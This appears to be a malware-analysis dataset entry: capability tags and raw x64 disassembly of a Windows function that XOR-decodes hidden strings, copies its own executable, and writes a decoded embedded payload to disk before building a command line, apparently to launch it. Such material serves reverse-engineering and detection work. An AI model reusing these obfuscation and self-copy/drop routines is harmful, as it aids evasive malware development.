Function at 0x14001bd40
Capabilities:
Copy file
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xaa0]
sub rsp, 0xba0
mov rax, qword [0x1400660c0]
xor rax, rsp
mov qword [rbp + 0xa90], rax
xor r15d, r15d
mov dword [rsp + 0x54], r15d
movdqa xmm0, xmmword [0x14005d200]
movdqa xmm1, xmmword [0x14005d230]
mov dword [rbp + 0x168], 0x7ce6c156
mov dword [rbp + 0x16c], 0xceb11973
mov dword [rbp + 0x170], 0x74dac11b
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x31d4
mov eax, dword [rcx + rsi]
mov ebx, 0x3210
add rbx, rsi
test al, 1
jne 0x14001be45
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rbx + 0x2d], 1
lea rax, [rbx + 0x2c]
lea rcx, [rbp + 0x174]
cmp rbx, rcx
ja 0x14001be17
lea rcx, [rbp + 0x148]
cmp rax, rcx
jb 0x14001be17
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x168]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [rbp + 0x170]
mov dword [rbx + 0x28], eax
mov byte [rbx + 0x2c], 0x39
jmp 0x14001be38
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x168]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [rbp + 0x170]
mov dword [rbx + 0x28], eax
mov byte [rbx + 0x2c], 0x39
lea rcx, [0x14003c720]
call fcn.14001eed8
nop
cmp byte [rbx + 0x2d], 0
je 0x14001bf06
xor byte [rbx], 0x35
xor byte [rbx + 1], 0xb1
xor byte [rbx + 2], 0xa9
xor byte [rbx + 3], 0x45
xor byte [rbx + 4], 0x39
xor byte [rbx + 5], 0x2b
xor byte [rbx + 6], 0xf5
xor byte [rbx + 7], 0x89
xor byte [rbx + 8], 0x35
xor byte [rbx + 9], 0xb1
xor byte [rbx + 0xa], 0xa9
xor byte [rbx + 0xb], 0x45
xor byte [rbx + 0xc], 0x39
xor byte [rbx + 0xd], 0x2b
xor byte [rbx + 0xe], 0xf5
xor byte [rbx + 0xf], 0x89
xor byte [rbx + 0x10], 0x35
xor byte [rbx + 0x11], 0xb1
xor byte [rbx + 0x12], 0xa9
xor byte [rbx + 0x13], 0x45
xor byte [rbx + 0x14], 0x39
xor byte [rbx + 0x15], 0x2b
xor byte [rbx + 0x16], 0xf5
xor byte [rbx + 0x17], 0x89
xor byte [rbx + 0x18], 0x35
xor byte [rbx + 0x19], 0xb1
xor byte [rbx + 0x1a], 0xa9
xor byte [rbx + 0x1b], 0x45
xor byte [rbx + 0x1c], 0x39
xor byte [rbx + 0x1d], 0x2b
xor byte [rbx + 0x1e], 0xf5
xor byte [rbx + 0x1f], 0x89
xor byte [rbx + 0x20], 0x35
xor byte [rbx + 0x21], 0xb1
xor byte [rbx + 0x22], 0xa9
xor byte [rbx + 0x23], 0x45
xor byte [rbx + 0x24], 0x39
xor byte [rbx + 0x25], 0x2b
xor byte [rbx + 0x26], 0xf5
xor byte [rbx + 0x27], 0x89
xor byte [rbx + 0x28], 0x35
xor byte [rbx + 0x29], 0xb1
xor byte [rbx + 0x2a], 0xa9
xor byte [rbx + 0x2b], 0x45
xor byte [rbx + 0x2c], 0x39
mov byte [rbx + 0x2d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x238], xmm1
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14001bf25
mov rdx, rbx
lea rcx, [rbp + 0x228]
call fcn.140002eb0
nop
lea rcx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0xf
cmova rcx, qword [rbp + 0x228]
call fcn.140027720
movdqa xmm0, xmmword [0x14005cf10]
movdqa xmm1, xmmword [0x14005cf30]
movdqa xmm2, xmmword [0x14005cef0]
mov word [rbp + 0x3e0], 0xe529
mov ecx, 0x2b38
mov eax, dword [rcx + rsi]
mov ebx, 0x3260
test al, 1
jne 0x14001bffa
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rbx + rsi]
mov byte [rcx + 0x33], 1
lea rax, [rcx + 0x32]
lea rdx, [rbp + 0x3e2]
cmp rcx, rdx
ja 0x14001bfd3
lea rdx, [rbp + 0x3b0]
cmp rax, rdx
jb 0x14001bfd3
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
movzx eax, word [rbp + 0x3e0]
mov word [rcx + 0x30], ax
mov byte [rcx + 0x32], 0xc7
jmp 0x14001bfed
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
movzx eax, word [rbp + 0x3e0]
mov word [rcx + 0x30], ax
mov byte [rcx + 0x32], 0xc7
lea rcx, [0x14003c6f0]
call fcn.14001eed8
nop
lea rcx, [rbx + rsi]
call fcn.14001dbe0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x14001c020
mov rdx, rcx
lea rcx, [rbp + 0xf0]
call fcn.140002eb0
nop
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rdx, qword [rbp + 0xf0]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
test ebx, ebx
je 0x14001c66e
movdqa xmm0, xmmword [str.r_Vy_f]
mov dword [rbp + 0x140], 0x95f2643
mov ecx, 0x32d8
mov eax, dword [rcx + rsi]
mov ebx, 0x3248
test al, 1
jne 0x14001c0fa
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rbx + rsi]
mov byte [rcx + 0x14], 1
lea rax, [rcx + 0x13]
lea rdx, [rbp + 0x143]
cmp rcx, rdx
ja 0x14001c0e1
lea rdx, [rbp + 0x130]
cmp rax, rdx
jb 0x14001c0e1
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x140]
mov dword [rcx + 0x10], eax
jmp 0x14001c0ed
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x140]
mov dword [rcx + 0x10], eax
lea rcx, [0x14003c680]
call fcn.14001eed8
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 0x14], 0
je 0x14001c15f
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 9
xor byte [rbx + 4], 0xa1
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x69
xor byte [rbx + 7], 0xc1
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0x43
xor byte [rbx + 0xa], 0x3b
xor byte [rbx + 0xb], 9
xor byte [rbx + 0xc], 0xa1
xor byte [rbx + 0xd], 0xd3
xor byte [rbx + 0xe], 0x69
xor byte [rbx + 0xf], 0xc1
xor byte [rbx + 0x10], 0x31
xor byte [rbx + 0x11], 0x43
xor byte [rbx + 0x12], 0x3b
xor byte [rbx + 0x13], 9
mov byte [rbx + 0x14], 0
call fcn.14001d3e0
mov r10, rax
cmp byte [rax + 0xc0], 0
je 0x14001c1cf
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r9, 0xc169d3a1093b4331
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r9
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r10b
and cl, 7
shl cl, 3
mov rax, r9
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0xc0
jb 0x14001c190
mov byte [r10 + 0xc0], 0
mov r9d, 0x30
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r8d, 0x104
lea rdx, [rbp + 0x670]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movdqa xmm0, xmmword [0x14005cea0]
movdqa xmm1, xmmword [0x14005cf40]
mov dword [rbp + 0x198], 0x422a71ca
mov dword [rbp + 0x19c], 0x10bf13a7
mov dword [rbp + 0x1a0], 0x1e1d6487
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov ecx, 0x31d8
mov eax, dword [rcx + rbx]
mov esi, 0x3190
test al, 1
jne 0x14001c2be
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rsi + rbx]
mov byte [rcx + 0x2d], 1
lea rax, [rcx + 0x2c]
lea rdx, [rbp + 0x1a4]
cmp rcx, rdx
ja 0x14001c290
lea rdx, [rbp + 0x178]
cmp rax, rdx
jb 0x14001c290
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x198]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x1a0]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0xed
jmp 0x14001c2b1
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x198]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x1a0]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0xed
lea rcx, [0x14003c650]
call fcn.14001eed8
nop
lea rdx, [rbx + rsi]
cmp byte [rdx + 0x2d], 0
je 0x14001c383
xor byte [rdx], 0xa9
xor byte [rdx + 1], 1
xor byte [rdx + 2], 0x65
xor byte [rdx + 3], 0x7b
xor byte [rdx + 4], 0xed
xor byte [rdx + 5], 0x21
xor byte [rdx + 6], 0xfb
xor byte [rdx + 7], 0x57
xor byte [rdx + 8], 0xa9
xor byte [rdx + 9], 1
xor byte [rdx + 0xa], 0x65
xor byte [rdx + 0xb], 0x7b
xor byte [rdx + 0xc], 0xed
xor byte [rdx + 0xd], 0x21
xor byte [rdx + 0xe], 0xfb
xor byte [rdx + 0xf], 0x57
xor byte [rdx + 0x10], 0xa9
xor byte [rdx + 0x11], 1
xor byte [rdx + 0x12], 0x65
xor byte [rdx + 0x13], 0x7b
xor byte [rdx + 0x14], 0xed
xor byte [rdx + 0x15], 0x21
xor byte [rdx + 0x16], 0xfb
xor byte [rdx + 0x17], 0x57
xor byte [rdx + 0x18], 0xa9
xor byte [rdx + 0x19], 1
xor byte [rdx + 0x1a], 0x65
xor byte [rdx + 0x1b], 0x7b
xor byte [rdx + 0x1c], 0xed
xor byte [rdx + 0x1d], 0x21
xor byte [rdx + 0x1e], 0xfb
xor byte [rdx + 0x1f], 0x57
xor byte [rdx + 0x20], 0xa9
xor byte [rdx + 0x21], 1
xor byte [rdx + 0x22], 0x65
xor byte [rdx + 0x23], 0x7b
xor byte [rdx + 0x24], 0xed
xor byte [rdx + 0x25], 0x21
xor byte [rdx + 0x26], 0xfb
xor byte [rdx + 0x27], 0x57
xor byte [rdx + 0x28], 0xa9
xor byte [rdx + 0x29], 1
xor byte [rdx + 0x2a], 0x65
xor byte [rdx + 0x2b], 0x7b
xor byte [rdx + 0x2c], 0xed
mov byte [rdx + 0x2d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
mov r8, rdi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x14001c3a0
lea rcx, [rbp + 0xb0]
call fcn.140002eb0
nop
mov qword [rbp + 0x248], r15
lea r9, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova r9, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xc0]
inc rax
mov qword [rsp + 0x20], rax
mov r8d, 0x104
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x248]
call fcn.140026d50
xor r8d, r8d
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x670]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call fcn.14003a990
lea rcx, [rbp - 0x60]
call fcn.14001d900
nop
movdqa xmm0, xmmword [0x14005d070]
movdqa xmm1, xmmword [0x14005d130]
mov dword [rbp + 0x1c8], 0xe34edd2
mov dword [rbp + 0x1cc], 0x88cbc9c3
mov dword [rbp + 0x1d0], 0x608ed9f
mov ecx, 0x32cc
mov eax, dword [rcx + rbx]
mov esi, 0x3298
test al, 1
jne 0x14001c4e9
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rsi + rbx]
mov byte [rcx + 0x2d], 1
lea rax, [rcx + 0x2c]
lea rdx, [rbp + 0x1d4]
cmp rcx, rdx
ja 0x14001c4bb
lea rdx, [rbp + 0x1a8]
cmp rax, rdx
jb 0x14001c4bb
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1c8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x1d0]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0x89
jmp 0x14001c4dc
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1c8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x1d0]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0x89
lea rcx, [0x14003c620]
call fcn.14001eed8
nop
lea rdx, [rbx + rsi]
cmp byte [rdx + 0x2d], 0
je 0x14001c5ae
xor byte [rdx], 0xb1
xor byte [rdx + 1], 0x9d
xor byte [rdx + 2], 0x7b
xor byte [rdx + 3], 0x37
xor byte [rdx + 4], 0x89
xor byte [rdx + 5], 0xfb
xor byte [rdx + 6], 0x8f
xor byte [rdx + 7], 0xcf
xor byte [rdx + 8], 0xb1
xor byte [rdx + 9], 0x9d
xor byte [rdx + 0xa], 0x7b
xor byte [rdx + 0xb], 0x37
xor byte [rdx + 0xc], 0x89
xor byte [rdx + 0xd], 0xfb
xor byte [rdx + 0xe], 0x8f
xor byte [rdx + 0xf], 0xcf
xor byte [rdx + 0x10], 0xb1
xor byte [rdx + 0x11], 0x9d
xor byte [rdx + 0x12], 0x7b
xor byte [rdx + 0x13], 0x37
xor byte [rdx + 0x14], 0x89
xor byte [rdx + 0x15], 0xfb
xor byte [rdx + 0x16], 0x8f
xor byte [rdx + 0x17], 0xcf
xor byte [rdx + 0x18], 0xb1
xor byte [rdx + 0x19], 0x9d
xor byte [rdx + 0x1a], 0x7b
xor byte [rdx + 0x1b], 0x37
xor byte [rdx + 0x1c], 0x89
xor byte [rdx + 0x1d], 0xfb
xor byte [rdx + 0x1e], 0x8f
xor byte [rdx + 0x1f], 0xcf
xor byte [rdx + 0x20], 0xb1
xor byte [rdx + 0x21], 0x9d
xor byte [rdx + 0x22], 0x7b
xor byte [rdx + 0x23], 0x37
xor byte [rdx + 0x24], 0x89
xor byte [rdx + 0x25], 0xfb
xor byte [rdx + 0x26], 0x8f
xor byte [rdx + 0x27], 0xcf
xor byte [rdx + 0x28], 0xb1
xor byte [rdx + 0x29], 0x9d
xor byte [rdx + 0x2a], 0x7b
xor byte [rdx + 0x2b], 0x37
xor byte [rdx + 0x2c], 0x89
mov byte [rdx + 0x2d], 0
lea rcx, [rbp - 0x60]
call fcn.14001d800
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
jne 0x14001c737
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.14001a970
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov rax, rcx
mov dword [rbp + rcx - 0x64], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x50], rbx
lea rcx, [rbp + 0x50]
call fcn.14001e344
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14001c66e
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c668
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2dc
call fcn.14001edc0
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x14001c6af
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c6aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2e2
call fcn.14001edc0
movdqa xmm0, xmmword [0x14005ce90]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x240]
cmp rdx, 0xf
jbe 0x14001c707
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c702
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d295
call fcn.14001edc0
mov rcx, qword [rbp + 0xa90]
xor rcx, rsp
call fcn.14001eda0
lea r11, [rsp + 0xba0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2a0]
call fcn.14003a990
lea rax, [0x14005c930]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x350], r15
mov qword [rbp + 0x358], r15
mov dword [rbp + 0x360], r15d
mov qword [rbp + 0x368], r15
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x370], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmmword [rbp + 0x390], xmm0
mov byte [rbp + 0x3a0], 0
mov r14d, 4
mov dword [rsp + 0x54], r14d
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x348], rax
mov dword [rbp + 0x344], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x348]
call fcn.140002b10
nop
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x29c], edx
lea rcx, [rbp + 0x2a8]
call fcn.14001aa20
nop
movdqa xmm0, xmmword [0x14005d060]
movdqa xmm1, xmmword [0x14005d120]
mov dword [rbp + 0x1f8], 0x1a1ee97a
mov dword [rbp + 0x1fc], 0x88611be5
mov dword [rbp + 0x200], 0x1222e937
mov ecx, 0x32d4
mov eax, dword [rcx + rbx]
mov esi, 0x31e0
test al, 1
jne 0x14001c8cd
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rsi + rbx]
mov byte [rcx + 0x2d], 1
lea rax, [rcx + 0x2c]
lea rdx, [rbp + 0x204]
cmp rcx, rdx
ja 0x14001c89f
lea rdx, [rbp + 0x1d8]
cmp rax, rdx
jb 0x14001c89f
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1f8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x200]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0xaf
jmp 0x14001c8c0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1f8]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x200]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0xaf
lea rcx, [0x14003c5f0]
call fcn.14001eed8
nop
lea rdx, [rsi + rbx]
cmp byte [rdx + 0x2d], 0
je 0x14001c992
xor byte [rdx], 0x19
xor byte [rdx + 1], 0x99
xor byte [rdx + 2], 0x51
xor byte [rdx + 3], 0x23
xor byte [rdx + 4], 0xaf
xor byte [rdx + 5], 0x29
xor byte [rdx + 6], 0x25
xor byte [rdx + 7], 0xcf
xor byte [rdx + 8], 0x19
xor byte [rdx + 9], 0x99
xor byte [rdx + 0xa], 0x51
xor byte [rdx + 0xb], 0x23
xor byte [rdx + 0xc], 0xaf
xor byte [rdx + 0xd], 0x29
xor byte [rdx + 0xe], 0x25
xor byte [rdx + 0xf], 0xcf
xor byte [rdx + 0x10], 0x19
xor byte [rdx + 0x11], 0x99
xor byte [rdx + 0x12], 0x51
xor byte [rdx + 0x13], 0x23
xor byte [rdx + 0x14], 0xaf
xor byte [rdx + 0x15], 0x29
xor byte [rdx + 0x16], 0x25
xor byte [rdx + 0x17], 0xcf
xor byte [rdx + 0x18], 0x19
xor byte [rdx + 0x19], 0x99
xor byte [rdx + 0x1a], 0x51
xor byte [rdx + 0x1b], 0x23
xor byte [rdx + 0x1c], 0xaf
xor byte [rdx + 0x1d], 0x29
xor byte [rdx + 0x1e], 0x25
xor byte [rdx + 0x1f], 0xcf
xor byte [rdx + 0x20], 0x19
xor byte [rdx + 0x21], 0x99
xor byte [rdx + 0x22], 0x51
xor byte [rdx + 0x23], 0x23
xor byte [rdx + 0x24], 0xaf
xor byte [rdx + 0x25], 0x29
xor byte [rdx + 0x26], 0x25
xor byte [rdx + 0x27], 0xcf
xor byte [rdx + 0x28], 0x19
xor byte [rdx + 0x29], 0x99
xor byte [rdx + 0x2a], 0x51
xor byte [rdx + 0x2b], 0x23
xor byte [rdx + 0x2c], 0xaf
mov byte [rdx + 0x2d], 0
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x2a8]
call fcn.14001b050
lea ebx, [rsi + 4]
test rax, rax
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
je 0x14001c9de
cmp qword [rbp + rcx + 0x2e8], 0
cmovne r14d, r15d
mov dword [rbp + rcx + 0x2b0], r14d
test dword [rbp + rcx + 0x2b4], r14d
jne 0x14001d29b
jmp 0x14001ca0c
mov eax, ebx
cmp qword [rbp + rcx + 0x2e8], 0
cmovne eax, esi
or eax, dword [rbp + rcx + 0x2b0]
and eax, 0x17
mov dword [rbp + rcx + 0x2b0], eax
mov edx, dword [rbp + rcx + 0x2b4]
and edx, eax
jne 0x14001d2e8
xorps xmm0, xmm0
movups xmmword [rbp + 0x278], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x288], xmm1
mov r8d, 5
lea rdx, str._auto
lea rcx, [rbp + 0x278]
call fcn.140002eb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call fcn.14001d620
mov r9, rax
cmp byte [rax + 0x52d], 0
je 0x14001cab7
mov rdx, r15
movabs r8, 0xdfafb5419f490ddb
nop word [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x52d
jb 0x14001ca90
mov byte [r9 + 0x52d], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x14001cad0
mov rdx, r9
lea rcx, [rsp + 0x58]
call fcn.140002eb0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14001cb28
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cb23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d342
call fcn.14001edc0
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x2a0]
call fcn.140003480
mov rcx, rax
call fcn.140002db0
lea rcx, [rbp + 0x2a8]
call fcn.14001a870
test rax, rax
jne 0x14001cbc3
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x2e8], 0
cmovne ebx, esi
or ebx, dword [rbp + rcx + 0x2b0]
and ebx, 0x17
mov dword [rbp + rcx + 0x2b0], ebx
mov eax, dword [rbp + rcx + 0x2b4]
and eax, ebx
jne 0x14001d348
mov r8d, 0x104
lea rdx, [rbp + 0x880]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x31d0
mov eax, dword [rcx + rsi]
mov ebx, 0x31c0
test al, 1
jne 0x14001cc27
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rsi + rbx + 0xc], 0x13958bf
mov dword [rsi + rbx], 0x2266889b
mov dword [rsi + rbx + 4], 0x62514eb5
mov dword [rsi + rbx + 8], 0x223f8b87
lea rcx, [0x14003c5a0]
call fcn.14001eed8
nop
lea rdx, [rsi + rbx]
cmp byte [rdx + 0xf], 0
je 0x14001cc70
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0xe7
xor byte [rdx + 2], 0x11
xor byte [rdx + 3], 0x47
xor byte [rdx + 4], 0xc7
xor byte [rdx + 5], 0x3d
xor byte [rdx + 6], 0x39
xor byte [rdx + 7], 7
xor byte [rdx + 8], 0xeb
xor byte [rdx + 9], 0xe7
xor byte [rdx + 0xa], 0x11
xor byte [rdx + 0xb], 0x47
xor byte [rdx + 0xc], 0xc7
xor byte [rdx + 0xd], 0x3d
xor byte [rdx + 0xe], 0x39
mov byte [rdx + 0xf], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], r15
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14001cc90
lea rcx, [rbp + 0x250]
call fcn.140002eb0
nop
call fcn.14001d6f0
mov rbx, rax
mov rcx, rax
call fcn.14001da00
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], r15
nop
inc rdi
cmp byte [rbx + rdi], 0
jne 0x14001ccd0
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.140002eb0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0x260]
sub rax, r14
cmp rax, 1
jb 0x14001d3a0
lea r12, [rbp + 0x250]
mov rsi, qword [rbp + 0x250]
mov r13, qword [rbp + 0x268]
cmp r13, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea r15, [r14 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x58]
cmp r15, rbx
jbe 0x14001cdc8
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14001cd8a
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001edc8
test rax, rax
je 0x14001d3a6
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001cdc3
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14001cdb2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001d2d6
jmp 0x14001cd6b
test rcx, rcx
je 0x14001cdc1
call fcn.14001edc8
mov rdi, rax
jmp 0x14001cdc3
xor edi, edi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call fcn.14003a2f0
mov byte [r14 + rdi], 0x20
mov byte [rdi + r15], 0
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rdx, qword [rbp + 0x110]
mov r8, qword [rbp + 0x120]
lea rcx, [rsp + 0x58]
call fcn.140002760
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x218], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x208], xmm0
movups xmm1, xmmword [rax + 0x10]
